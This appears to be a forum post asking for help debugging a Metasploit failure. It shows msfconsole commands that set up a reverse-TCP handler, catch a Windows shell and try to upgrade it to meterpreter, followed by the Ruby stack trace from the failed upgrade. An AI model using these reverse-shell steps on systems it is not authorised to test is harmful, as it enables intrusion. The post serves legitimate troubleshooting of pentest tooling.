Setup info: I don't believe this is the issue as I regularly update my system. I'll add one piece of information as an example. If you would really like to the rest then I can add more in later

metasploit v5.0.89-dev

Payload: I used a custom python script to create a reverse shell from the victim's computer to the attacker. No problem with the low priv shell in netcat or metasploit. If anyone wants to take a look at the script I can upload it to github and share the link(thought its nothing special, I'd prefer to send the link privately to keep the script as less spread as possible).

Exact Steps I took:

msf5 > use multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
msf5 exploit(multi/handler) > set LPORT 549 
LPORT => 549
msf5 exploit(multi/handler) > set LHOST
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 
[*] Command shell session 1 opened ( -> at 2020-05-30 22:31:25 -0400

Login: password
You have a shell have fun #> background

Background session 1? [y/N]  y
msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

The Issue:

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 
[-] Post failed: NoMethodError undefined method `reverse!' for nil:NilClass
[-] Call stack:
[-]   /usr/share/metasploit-framework/lib/msf/core/session/provider/single_command_shell.rb:136:in `shell_command_token_win32'
[-]   /usr/share/metasploit-framework/lib/msf/core/session/provider/single_command_shell.rb:84:in `shell_command_token'
[-]   /usr/share/metasploit-framework/lib/msf/core/post/common.rb:147:in `cmd_exec'
[-]   /usr/share/metasploit-framework/lib/msf/core/post/windows/powershell.rb:32:in `have_powershell?'
[-]   /usr/share/metasploit-framework/modules/post/multi/manage/shell_to_meterpreter.rb:161:in `run'

Note: I have taken a look at some of the files, but they seem to be coded in ruby(something I am not familiar with) and the error seems to be related to multiple files, so I have no clue how to really debug this. There also seems to be similar issues posted on github if it helps.

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